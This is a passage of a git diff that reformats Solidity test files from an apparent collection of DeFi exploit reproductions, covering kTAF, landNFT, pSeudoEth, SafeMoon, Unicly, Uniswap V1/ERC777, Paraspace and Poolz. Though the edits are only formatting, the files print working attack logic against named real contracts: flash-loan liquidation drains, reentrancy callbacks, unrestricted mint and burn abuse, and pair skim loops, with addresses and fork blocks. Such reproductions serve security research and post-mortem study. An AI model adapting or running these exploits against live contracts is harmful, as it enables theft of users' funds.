div(zxRound, scalar) @@ -4771,12 +4743,7 @@ library SafeTransferLib { ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ - function safeTransferFrom( - IERC20 token, - address from, - address to, - uint256 amount - ) internal { + function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal { bool success; /// @solidity memory-safe-assembly @@ -4790,26 +4757,23 @@ library SafeTransferLib { mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Append and mask the "to" argument. mstore(add(freeMemoryPointer, 68), amount) // Append the "amount" argument. Masking not required as it's a full 32 byte type. - success := and( - // Set success to whether the call reverted, if not we check it either - // returned exactly 1 (can't just be non-zero data), or had no return data. - or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), - // We use 100 because the length of our calldata totals up like so: 4 + 32 * 3. - // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. - // Counterintuitively, this call must be positioned second to the or() call in the - // surrounding and() call or else returndatasize() will be zero during the computation. - call(gas(), token, 0, freeMemoryPointer, 100, 0, 32) - ) + success := + and( + // Set success to whether the call reverted, if not we check it either + // returned exactly 1 (can't just be non-zero data), or had no return data. + or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), + // We use 100 because the length of our calldata totals up like so: 4 + 32 * 3. + // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. + // Counterintuitively, this call must be positioned second to the or() call in the + // surrounding and() call or else returndatasize() will be zero during the computation. + call(gas(), token, 0, freeMemoryPointer, 100, 0, 32) + ) } require(success, "TRANSFER_FROM_FAILED"); } - function safeTransfer( - IERC20 token, - address to, - uint256 amount - ) internal { + function safeTransfer(IERC20 token, address to, uint256 amount) internal { bool success; /// @solidity memory-safe-assembly @@ -4822,26 +4786,23 @@ library SafeTransferLib { mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Append and mask the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument. Masking not required as it's a full 32 byte type. - success := and( - // Set success to whether the call reverted, if not we check it either - // returned exactly 1 (can't just be non-zero data), or had no return data. - or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), - // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. - // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. - // Counterintuitively, this call must be positioned second to the or() call in the - // surrounding and() call or else returndatasize() will be zero during the computation. - call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) - ) + success := + and( + // Set success to whether the call reverted, if not we check it either + // returned exactly 1 (can't just be non-zero data), or had no return data. + or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), + // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. + // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. + // Counterintuitively, this call must be positioned second to the or() call in the + // surrounding and() call or else returndatasize() will be zero during the computation. + call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) + ) } require(success, "TRANSFER_FAILED"); } - function safeApprove( - IERC20 token, - address to, - uint256 amount - ) internal { + function safeApprove(IERC20 token, address to, uint256 amount) internal { bool success; /// @solidity memory-safe-assembly @@ -4854,16 +4815,17 @@ library SafeTransferLib { mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Append and mask the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument. Masking not required as it's a full 32 byte type. - success := and( - // Set success to whether the call reverted, if not we check it either - // returned exactly 1 (can't just be non-zero data), or had no return data. - or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), - // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. - // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. - // Counterintuitively, this call must be positioned second to the or() call in the - // surrounding and() call or else returndatasize() will be zero during the computation. - call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) - ) + success := + and( + // Set success to whether the call reverted, if not we check it either + // returned exactly 1 (can't just be non-zero data), or had no return data. + or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), + // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. + // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. + // Counterintuitively, this call must be positioned second to the or() call in the + // surrounding and() call or else returndatasize() will be zero during the computation. + call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) + ) } require(success, "APPROVE_FAILED"); @@ -4909,4 +4871,4 @@ abstract contract Nonces { } return current; } -} \ No newline at end of file +} diff --git a/src/test/kTAF_exp.sol b/src/test/kTAF_exp.sol index a6777d27..72b70c79 100644 --- a/src/test/kTAF_exp.sol +++ b/src/test/kTAF_exp.sol @@ -16,9 +16,7 @@ import "./interface.sol"; interface ICErc20Immutable { function borrow(uint256 borrowAmount) external returns (uint256); - function borrowBalanceStored( - address account - ) external view returns (uint256); + function borrowBalanceStored(address account) external view returns (uint256); function liquidateBorrow( address borrower, @@ -34,29 +32,20 @@ interface IComptroller { uint256 actualRepayAmount ) external view returns (uint256, uint256); - function enterMarkets( - address[] memory cTokens - ) external returns (uint256[] memory); + function enterMarkets(address[] memory cTokens) external returns (uint256[] memory); } contract ContractTest is Test { - IBalancerVault private constant Vault = - IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); - IERC20 private constant DAI = - IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); - IERC20 private constant TAF = - IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5); - ICErc20Delegate private constant kTAF = - ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5)); - ICErc20Immutable private constant kDAI = - ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769); - IComptroller private constant Unitroller = - IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3); - address private constant borrower = - 0x3cF7e9d9dCfeD77f295CF7A7F5539eC407D9a67d; + IBalancerVault private constant Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); + IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); + IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5); + ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5)); + ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769); + IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3); + address private constant borrower = 0x3cF7e9d9dCfeD77f295CF7A7F5539eC407D9a67d; function setUp() public { - vm.createSelectFork("mainnet", 18385885); + vm.createSelectFork("mainnet", 18_385_885); vm.label(address(Vault), "Vault"); vm.label(address(DAI), "DAI"); vm.label(address(kTAF), "kTAF"); @@ -66,35 +55,19 @@ contract ContractTest is Test { } function testExploit() public { - emit log_named_decimal_uint( - "Attacker DAI balance before exploit", - DAI.balanceOf(address(this)), - DAI.decimals() - ); - - emit log_named_decimal_uint( - "Attacker TAF balance before exploit", - TAF.balanceOf(address(this)), - TAF.decimals() - ); + emit log_named_decimal_uint("Attacker DAI balance before exploit", DAI.balanceOf(address(this)), DAI.decimals()); + + emit log_named_decimal_uint("Attacker TAF balance before exploit", TAF.balanceOf(address(this)), TAF.decimals()); address[] memory tokens = new address[](1); tokens[0] = address(DAI); uint256[] memory amounts = new uint256[](1); - amounts[0] = 4_000 * 1e18; + amounts[0] = 4000 * 1e18; Vault.flashLoan(address(this), tokens, amounts, bytes("")); - emit log_named_decimal_uint( - "Attacker DAI balance after exploit", - DAI.balanceOf(address(this)), - DAI.decimals() - ); - - emit log_named_decimal_uint( - "Attacker TAF balance after exploit", - TAF.balanceOf(address(this)), - TAF.decimals() - ); + emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals()); + + emit log_named_decimal_uint("Attacker TAF balance after exploit", TAF.balanceOf(address(this)), TAF.decimals()); } function receiveFlashLoan( @@ -107,20 +80,14 @@ contract ContractTest is Test { while (true) { uint256 repayAmount = kDAI.borrowBalanceStored(borrower) / 10; - (, uint256 numCtokenCollateral) = Unitroller - .liquidateCalculateSeizeTokens( - address(kDAI), - address(kTAF), - repayAmount - ); + (, uint256 numCtokenCollateral) = + Unitroller.liquidateCalculateSeizeTokens(address(kDAI), address(kTAF), repayAmount); if (numCtokenCollateral <= kTAF.balanceOf(borrower)) { kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF)); } else { repayAmount = - ((kDAI.borrowBalanceStored(borrower) / 10) * - kTAF.balanceOf(borrower)) / - numCtokenCollateral; + ((kDAI.borrowBalanceStored(borrower) / 10) * kTAF.balanceOf(borrower)) / numCtokenCollateral; kDAI.liquidateBorrow(borrower, repayAmount, address(kTAF)); while (DAI.balanceOf(address(kDAI)) > 1) { @@ -140,16 +107,11 @@ contract ContractTest is Test { } contract ExploitHelper { - ICErc20Immutable private constant kDAI = - ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769); - ICErc20Delegate private constant kTAF = - ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5)); - IERC20 private constant DAI = - IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); - IERC20 private constant TAF = - IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5); - IComptroller private constant Unitroller = - IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3); + ICErc20Immutable private constant kDAI = ICErc20Immutable(0xE5C6c14F466A4F3A73eCEc7F3aAaA15c5EcBc769); + ICErc20Delegate private constant kTAF = ICErc20Delegate(payable(0xf5140fC35C6f94D02d7466f793fEB0216082d7E5)); + IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); + IERC20 private constant TAF = IERC20(0xf573E6740045b5387F6d36a26B102C2adF639af5); + IComptroller private constant Unitroller = IComptroller(0x959Fb43EF08F415da0AeA39BEEf92D96f41E41b3); function start() external { address[] memory cTokens = new address[](1); @@ -164,8 +126,8 @@ contract ExploitHelper { TAF.transfer(address(kTAF), TAF.balanceOf(address(this))); uint256 amountDAI = DAI.balanceOf(address(kDAI)); - if (amountDAI > 1_320 * 1e18) { - amountDAI = 1_320 * 1e18; + if (amountDAI > 1320 * 1e18) { + amountDAI = 1320 * 1e18; } kDAI.borrow(amountDAI); diff --git a/src/test/landNFT_exp.sol b/src/test/landNFT_exp.sol index f3aa33c9..5d2ba946 100644 --- a/src/test/landNFT_exp.sol +++ b/src/test/landNFT_exp.sol @@ -23,16 +23,13 @@ contract ContractTest is Test { CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 28208132); + cheats.createSelectFork("bsc", 28_208_132); cheats.label(address(landNFT), "landNFT"); cheats.label(address(minerContract), "Miner"); } function testExploit() public { - emit log_named_uint( - "Attacker amount of NFT land before mint", - landNFT.balanceOf(address(this)) - ); + emit log_named_uint("Attacker amount of NFT land before mint", landNFT.balanceOf(address(this))); address[] memory to = new address[](1); to[0] = address(this); @@ -40,18 +37,10 @@ contract ContractTest is Test { amount[0] = 200; minerContract.mint(to, amount); - emit log_named_uint( - "Attacker amount of NFT land after mint", - landNFT.balanceOf(address(this)) - ); + emit log_named_uint("Attacker amount of NFT land after mint", landNFT.balanceOf(address(this))); } - function onERC721Received( - address, - address, - uint256, - bytes memory - ) external returns (bytes4) { + function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) { return this.onERC721Received.selector; } } diff --git a/src/test/pSeudoEth_exp.sol b/src/test/pSeudoEth_exp.sol index 7afa15fd..b9298881 100644 --- a/src/test/pSeudoEth_exp.sol +++ b/src/test/pSeudoEth_exp.sol @@ -10,7 +10,6 @@ import "./interface.sol"; // Vulnerable Contract : https://etherscan.io/address/0x2033b54b6789a963a02bfcbd40a46816770f1161 // Attack Tx : https://etherscan.io/tx/0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b3930 - // @Analysis // Post-mortem : https://www.google.com/ // Twitter Guy : https://twitter.com/CertiKAlert/status/1710979615164944729 @@ -22,8 +21,7 @@ contract ContractTest is Test { IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); IUniswapV2Pair UNIPair = IUniswapV2Pair(0x2033B54B6789a963A02BfCbd40A46816770f1161); - uint amount = 51_970_861_731_879_316_502_999; - + uint256 amount = 51_970_861_731_879_316_502_999; function setUp() public { vm.createSelectFork("mainnet", 18_305_132 - 1); @@ -35,16 +33,16 @@ contract ContractTest is Test { } function testExploit() external { - uint startWETH = WETH.balanceOf(address(this)); + uint256 startWETH = WETH.balanceOf(address(this)); console.log("Before Start: %d WETH", startWETH); address[] memory tokens = new address[](1); tokens[0] = address(WETH); - uint[] memory amounts = new uint[](1); + uint256[] memory amounts = new uint[](1); amounts[0] = amount; Balancer.flashLoan(address(this), tokens, amounts, ""); - uint intRes = WETH.balanceOf(address(this))/1 ether; - uint decRes = WETH.balanceOf(address(this)) - intRes * 1e18; + uint256 intRes = WETH.balanceOf(address(this)) / 1 ether; + uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18; console.log("Attack Exploit: %s.%s WETH", intRes, decRes); } @@ -57,18 +55,20 @@ contract ContractTest is Test { address[] memory path = new address [](2); (path[0], path[1]) = (address(WETH), address(pEth)); UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - amounts[0], 0, path, address(this), type(uint).max); - uint pEth_amount = pEth.balanceOf(address(this)); + amounts[0], 0, path, address(this), type(uint256).max + ); + uint256 pEth_amount = pEth.balanceOf(address(this)); pEth.transfer(address(UNIPair), pEth_amount); - for(uint i=0; i<10; i++){ + for (uint256 i = 0; i < 10; i++) { UNIPair.skim(address(UNIPair)); } (path[0], path[1]) = (address(pEth), address(WETH)); pEth_amount = pEth.balanceOf(address(this)); UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - pEth_amount, 0, path, address(this), type(uint).max); + pEth_amount, 0, path, address(this), type(uint256).max + ); WETH.transfer(address(Balancer), amount); } diff --git a/src/test/paraspace_exp.sol b/src/test/paraspace_exp.sol index 49ac0623..321913c8 100644 --- a/src/test/paraspace_exp.sol +++ b/src/test/paraspace_exp.sol @@ -48,14 +48,14 @@ contract ContractTest is DSTest { emit log_named_uint("Before exploit, _pcAPE balance of Exploit:", IERC20(_pcAPE).balanceOf(address(this))); emit log_named_uint( "Before exploit, _vDebtUSDC balance of Exploit:", IERC20(_vDebtUSDC).balanceOf(address(this)) - ); + ); emit log_named_uint( "Before exploit, _vDebtWETH balance of Exploit:", IERC20(_vDebtWETH).balanceOf(address(this)) - ); + ); emit log_named_uint("Before exploit, _cAPE balance of Exploit:", IERC20(_cAPE).balanceOf(address(this))); emit log_named_uint( "Before exploit, _vDebtwstETH balance of Exploit:", IERC20(_vDebtwstETH).balanceOf(address(this)) - ); + ); // () -> () _proxy.call( @@ -69,14 +69,14 @@ contract ContractTest is DSTest { emit log_named_uint("After exploit, _pcAPE balance of Exploit:", IERC20(_pcAPE).balanceOf(address(this))); emit log_named_uint( "After exploit, _vDebtUSDC balance of Exploit:", IERC20(_vDebtUSDC).balanceOf(address(this)) - ); + ); emit log_named_uint( "After exploit, _vDebtWETH balance of Exploit:", IERC20(_vDebtWETH).balanceOf(address(this)) - ); + ); emit log_named_uint("After exploit, _cAPE balance of Exploit:", IERC20(_cAPE).balanceOf(address(this))); emit log_named_uint( "After exploit, _vDebtwstETH balance of Exploit:", IERC20(_vDebtwstETH).balanceOf(address(this)) - ); + ); } struct ExactInputSingleParams { diff --git a/src/test/poolz_exp.sol b/src/test/poolz_exp.sol index 7a0a760c..d2515081 100644 --- a/src/test/poolz_exp.sol +++ b/src/test/poolz_exp.sol @@ -180,7 +180,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "[Total exploit wbnb balance ] wbnb balance", wbnb.balanceOf(address(this)), 18 - ); + ); wbnb.transfer(address(dppAdvanced), 1 * 1e18); } diff --git a/src/test/safeMoon_exp.sol b/src/test/safeMoon_exp.sol index 4f44550f..5bb04d61 100644 --- a/src/test/safeMoon_exp.sol +++ b/src/test/safeMoon_exp.sol @@ -33,40 +33,25 @@ interface ISafeSwapTradeRouter { uint256 deadline; } - function getSwapFees( - uint256 amountIn, - address[] memory path - ) external view returns (uint256 _fees); - - function swapExactTokensForTokensWithFeeAmount( - Trade calldata trade - ) external payable; + function getSwapFees(uint256 amountIn, address[] memory path) external view returns (uint256 _fees); + + function swapExactTokensForTokensWithFeeAmount(Trade calldata trade) external payable; } interface IWETH { - function approve(address, uint) external returns (bool); + function approve(address, uint256) external returns (bool); - function transfer(address, uint) external returns (bool); + function transfer(address, uint256) external returns (bool); - function balanceOf(address) external view returns (uint); + function balanceOf(address) external view returns (uint256); } interface IPancakePair { - function swap( - uint amount0Out, - uint amount1Out, - address to, - bytes calldata data - ) external; + function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; } interface IPancakeCallee { - function pancakeCall( - address sender, - uint amount0, - uint amount1, - bytes calldata data - ) external; + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external; } interface IUniswapV2Pair { @@ -79,7 +64,7 @@ contract SafemoonAttackerTest is Test, IPancakeCallee { IWETH public weth; function setUp() public { - vm.createSelectFork("https://rpc.ankr.com/bsc", 26854757); + vm.createSelectFork("https://rpc.ankr.com/bsc", 26_854_757); sfmoon = ISafemoon(0x42981d0bfbAf196529376EE702F2a9Eb9092fcB5); pancakePair = IPancakePair(0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1); @@ -87,58 +72,47 @@ contract SafemoonAttackerTest is Test, IPancakeCallee { } function testMint() public { - vm.rollFork(26854757); + vm.rollFork(26_854_757); - uint originalBalance = sfmoon.balanceOf(address(this)); + uint256 originalBalance = sfmoon.balanceOf(address(this)); emit log_named_uint("sfmoon balance before:", originalBalance); assertEq(originalBalance, 0); - sfmoon.mint( - address(this), - sfmoon.balanceOf(sfmoon.bridgeBurnAddress()) - ); + sfmoon.mint(address(this), sfmoon.balanceOf(sfmoon.bridgeBurnAddress())); - uint currentBalance = sfmoon.balanceOf(address(this)); + uint256 currentBalance = sfmoon.balanceOf(address(this)); emit log_named_uint("sfmoon balance after:", currentBalance); - assertEq(currentBalance, 81804509291616467966); + assertEq(currentBalance, 81_804_509_291_616_467_966); } function testBurn() public { - vm.rollFork(26864889); + vm.rollFork(26_864_889); - uint originalBalance = weth.balanceOf(address(this)); + uint256 originalBalance = weth.balanceOf(address(this)); emit log_named_uint("weth balance before:", originalBalance); assertEq(originalBalance, 0); pancakePair.swap(1000 ether, 0, address(this), "ggg"); - uint currentBalance = weth.balanceOf(address(this)); + uint256 currentBalance = weth.balanceOf(address(this)); emit log_named_uint("weth balance after:", currentBalance); - assertEq(currentBalance, 27463848254806782408231); + assertEq(currentBalance, 27_463_848_254_806_782_408_231); } - function doBurnHack(uint amount) public { + function doBurnHack(uint256 amount) public { swappingBnbForTokens(amount); - sfmoon.burn( - sfmoon.uniswapV2Pair(), - sfmoon.balanceOf(sfmoon.uniswapV2Pair()) - 1000000000 - ); + sfmoon.burn(sfmoon.uniswapV2Pair(), sfmoon.balanceOf(sfmoon.uniswapV2Pair()) - 1_000_000_000); sfmoon.burn(address(sfmoon), sfmoon.balanceOf(address(sfmoon))); IUniswapV2Pair(sfmoon.uniswapV2Pair()).sync(); swappingTokensForBnb(sfmoon.balanceOf(address(this))); } - function pancakeCall( - address sender, - uint amount0, - uint amount1, - bytes calldata data - ) external { + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { require(msg.sender == address(pancakePair)); require(sender == address(this)); doBurnHack(amount0); - weth.transfer(msg.sender, (amount0 * 10030) / 10000); + weth.transfer(msg.sender, (amount0 * 10_030) / 10_000); } function swappingBnbForTokens(uint256 tokenAmount) private { @@ -146,9 +120,7 @@ contract SafemoonAttackerTest is Test, IPancakeCallee { path[0] = address(weth); path[1] = address(sfmoon); - ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter( - sfmoon.uniswapV2Router().routerTrade() - ); + ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade()); weth.approve(address(sfmoon.uniswapV2Router()), tokenAmount); uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path); @@ -159,9 +131,7 @@ contract SafemoonAttackerTest is Test, IPancakeCallee { to: payable(address(this)), deadline: block.timestamp }); - tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}( - trade - ); + tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade); } function swappingTokensForBnb(uint256 tokenAmount) private { @@ -169,9 +139,7 @@ contract SafemoonAttackerTest is Test, IPancakeCallee { path[0] = address(sfmoon); path[1] = address(weth); - ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter( - sfmoon.uniswapV2Router().routerTrade() - ); + ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade()); sfmoon.approve(address(sfmoon.uniswapV2Router()), tokenAmount); uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path); @@ -182,8 +150,6 @@ contract SafemoonAttackerTest is Test, IPancakeCallee { to: payable(address(this)), deadline: block.timestamp }); - tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}( - trade - ); + tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade); } -} \ No newline at end of file +} diff --git a/src/test/uniclyNFT_exp.sol b/src/test/uniclyNFT_exp.sol index 0599207a..665db690 100644 --- a/src/test/uniclyNFT_exp.sol +++ b/src/test/uniclyNFT_exp.sol @@ -14,10 +14,7 @@ import "./interface.sol"; // https://twitter.com/DecurityHQ/status/1703096116047421863 interface IPointFarm { - function balanceOf( - address account, - uint256 id - ) external view returns (uint256); + function balanceOf(address account, uint256 id) external view returns (uint256); function setApprovalForAll(address operator, bool _approved) external; @@ -31,21 +28,15 @@ interface IPointShop { } contract ContractTest is Test { - IERC20 private constant WETH = - IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - IERC20 private constant uJENNY = - IERC20(0xa499648fD0e80FD911972BbEb069e4c20e68bF22); - Uni_Pair_V2 private constant uJENNY_WETH = - Uni_Pair_V2(0xEC5100AD159F660986E47AFa0CDa1081101b471d); - IPointFarm private constant PointFarm = - IPointFarm(0xd3C41c85bE295607E8EA5c58487eC5894300ee67); - IPointShop private constant PointShop = - IPointShop(0xcDCc535503CBA9286489b338b36156b4b75008f6); - IERC721 private constant Realm = - IERC721(0x7AFe30cB3E53dba6801aa0EA647A0EcEA7cBe18d); + IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + IERC20 private constant uJENNY = IERC20(0xa499648fD0e80FD911972BbEb069e4c20e68bF22); + Uni_Pair_V2 private constant uJENNY_WETH = Uni_Pair_V2(0xEC5100AD159F660986E47AFa0CDa1081101b471d); + IPointFarm private constant PointFarm = IPointFarm(0xd3C41c85bE295607E8EA5c58487eC5894300ee67); + IPointShop private constant PointShop = IPointShop(0xcDCc535503CBA9286489b338b36156b4b75008f6); + IERC721 private constant Realm = IERC721(0x7AFe30cB3E53dba6801aa0EA647A0EcEA7cBe18d); function setUp() public { - vm.createSelectFork("mainnet", 18133171); + vm.createSelectFork("mainnet", 18_133_171); vm.label(address(WETH), "WETH"); vm.label(address(uJENNY), "uJENNY"); vm.label(address(uJENNY_WETH), "uJENNY_WETH"); @@ -63,12 +54,9 @@ contract ContractTest is Test { uint256 amtuJENNY = uJENNY.balanceOf(address(this)); PointFarm.deposit(0, uJENNY.balanceOf(address(this))); // Wait ~2 days - vm.roll(18149401); + vm.roll(18_149_401); // Attack - emit log_named_uint( - "Attacker Realm NFT balance before attack", - Realm.balanceOf(address(this)) - ); + emit log_named_uint("Attacker Realm NFT balance before attack", Realm.balanceOf(address(this))); // Reentrancy here. Inflate the attacker balance of PointFarm to redeem Realm NFT later from PointShop PointFarm.deposit(0, 0); // Getting initial deposit (preparation phase) back @@ -80,43 +68,28 @@ contract ContractTest is Test { PointShop.redeem(address(uJENNY), 0); emit log_named_decimal_uint( - "Attacker WETH balance after attack", - WETH.balanceOf(address(this)), - WETH.decimals() + "Attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals() ); // 4689 - id of the stolen NFT assertEq(Realm.ownerOf(4689), address(this)); - emit log_named_uint( - "Attacker Realm NFT balance after attack", - Realm.balanceOf(address(this)) - ); + emit log_named_uint("Attacker Realm NFT balance after attack", Realm.balanceOf(address(this))); } function WETHToUJENNY() internal { - (uint112 reserveuJENNY, uint112 reserveWETH, ) = uJENNY_WETH - .getReserves(); - uint256 amountOut = calcAmountOut( - reserveuJENNY, - reserveWETH, - WETH.balanceOf(address(this)) - ); + (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves(); + uint256 amountOut = calcAmountOut(reserveuJENNY, reserveWETH, WETH.balanceOf(address(this))); WETH.transfer(address(uJENNY_WETH), WETH.balanceOf(address(this))); uJENNY_WETH.swap(amountOut, 0, address(this), bytes("")); } function UJENNYToWETH(uint256 amount) internal { - (uint112 reserveuJENNY, uint112 reserveWETH, ) = uJENNY_WETH - .getReserves(); + (uint112 reserveuJENNY, uint112 reserveWETH,) = uJENNY_WETH.getReserves(); uint256 amountOut = calcAmountOut(reserveWETH, reserveuJENNY, amount); uJENNY.transfer(address(uJENNY_WETH), amount); uJENNY_WETH.swap(0, amountOut, address(this), bytes("")); } - function calcAmountOut( - uint256 reserve1, - uint256 reserve2, - uint256 tokenAmount - ) internal pure returns (uint256) { + function calcAmountOut(uint256 reserve1, uint256 reserve2, uint256 tokenAmount) internal pure returns (uint256) { uint256 a = tokenAmount * 997; uint256 b = a * reserve1; uint256 c = reserve2 * 1000; @@ -131,7 +104,7 @@ contract ContractTest is Test { bytes calldata data ) external returns (bytes4) { uint256 pointFarmBalance = PointFarm.balanceOf(address(this), 0); - if (pointFarmBalance <= 10000) { + if (pointFarmBalance <= 10_000) { PointFarm.deposit(0, 0); } return this.onERC1155Received.selector; diff --git a/src/test/uniswap-erc777.sol b/src/test/uniswap-erc777.sol index 4d873f05..5b3de11e 100644 --- a/src/test/uniswap-erc777.sol +++ b/src/test/uniswap-erc777.sol @@ -14,52 +14,54 @@ interface UniswapV1 { function ethToTokenSwapInput(uint256 min_token, uint256 deadline) external payable returns (uint256); function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256); } + interface IERC1820Registry { function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external; } + interface IERC777 { function approve(address spender, uint256 value) external returns (bool); - } -contract ContractTest is Test{ +contract ContractTest is Test { UniswapV1 uniswapv1 = UniswapV1(0xFFcf45b540e6C9F094Ae656D2e34aD11cdfdb187); IERC777 imbtc = IERC777(0x3212b29E33587A00FB1C83346f5dBFA69A458923); - uint i = 0; + uint256 i = 0; + function setUp() public { - vm.createSelectFork("mainnet", 9894153); + vm.createSelectFork("mainnet", 9_894_153); } - function testExploit() public{ - + function testExploit() public { IERC1820Registry _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); - _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); - - uniswapv1.ethToTokenSwapInput{value: 1 ether}(1,115792089237316195423570985008687907853269984665640564039457584007913129639935); - + _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this)); + + uniswapv1.ethToTokenSwapInput{value: 1 ether}( + 1, 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935 + ); + uint256 beforeBalance = address(this).balance; - - imbtc.approve(address(uniswapv1),10000000); - uniswapv1.tokenToEthSwapInput(823084,1,115792089237316195423570985008687907853269984665640564039457584007913129639935); - uint256 afterBalance = address(this).balance; - emit log_named_decimal_uint("My ETH Profit",afterBalance - beforeBalance - 1 ether,18 ); + imbtc.approve(address(uniswapv1), 10_000_000); + uniswapv1.tokenToEthSwapInput( + 823_084, + 1, + 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935 + ); + uint256 afterBalance = address(this).balance; + emit log_named_decimal_uint("My ETH Profit", afterBalance - beforeBalance - 1 ether, 18); } function tokensToSend(address, address, address, uint256, bytes calldata, bytes calldata) external { - - if(i < 1){ - i++; - uniswapv1.tokenToEthSwapInput(823084,1,115792089237316195423570985008687907853269984665640564039457584007913129639935); - } + if (i < 1) { + i++; + uniswapv1.tokenToEthSwapInput( + 823_084, + 1, + 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935 + ); } - - receive() external payable {} - } - - - - - + receive() external payable {} +} diff --git a/src/test/xWin_exp.sol b/src/test/xWin_exp.sol index 2663ccbb..9406d0fd 100644 --- a/src/test/xWin_exp.sol +++ b/src/test/xWin_exp.sol @@ -12,24 +12,17 @@ pragma solidity ^0.8.10; import "forge-std/Test.sol"; import "./interface.sol"; - struct TradeParams { - address xFundAddress; - uint256 amount; - uint256 priceImpactTolerance; - uint256 deadline; - bool returnInBase; - address referral; - } - +struct TradeParams { + address xFundAddress; + uint256 amount; + uint256 priceImpactTolerance; + uint256 deadline; + 